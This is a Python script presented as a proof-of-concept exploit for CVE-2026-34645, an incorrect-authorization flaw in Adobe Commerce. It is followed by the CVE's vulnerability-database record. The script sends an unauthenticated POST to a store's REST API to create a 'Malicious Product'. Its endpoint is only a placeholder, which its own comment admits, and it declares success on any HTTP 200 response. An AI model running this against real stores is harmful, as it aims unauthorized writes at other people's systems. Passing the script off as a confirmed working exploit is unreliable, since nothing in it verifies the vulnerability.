CVE-2026-34645

# PoC for CVE-2026-34645: Adobe Commerce Incorrect Authorization # Description: Exploits incorrect authorization to gain unauthorized write access. import requests def exploit(target_url): # The vulnerable endpoint might vary based on the specific implementation # This is a generic example targeting an API endpoint that should be protected endpoint = f"{target_url}/rest/V1/vulnerable/endpoint" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-34645-Exploit" } # Payload attempting to write unauthorized data payload = { "product": { "name": "Malicious Product", "price": 0, "status": 1 } } try: print(f"[+] Sending exploit request to {endpoint}...") # No authentication token is sent due to PR:N (No Privileges Required) response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Unauthorized write access confirmed.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target exploit(target)

{"cve": {"id": "CVE-2026-34645", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:35.423", "lastModified": "2026-05-13T14:49:11.830", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://helpx.adobe.com/security/products/magento/apsb26-49.html", "source": "[email protected]"}]}}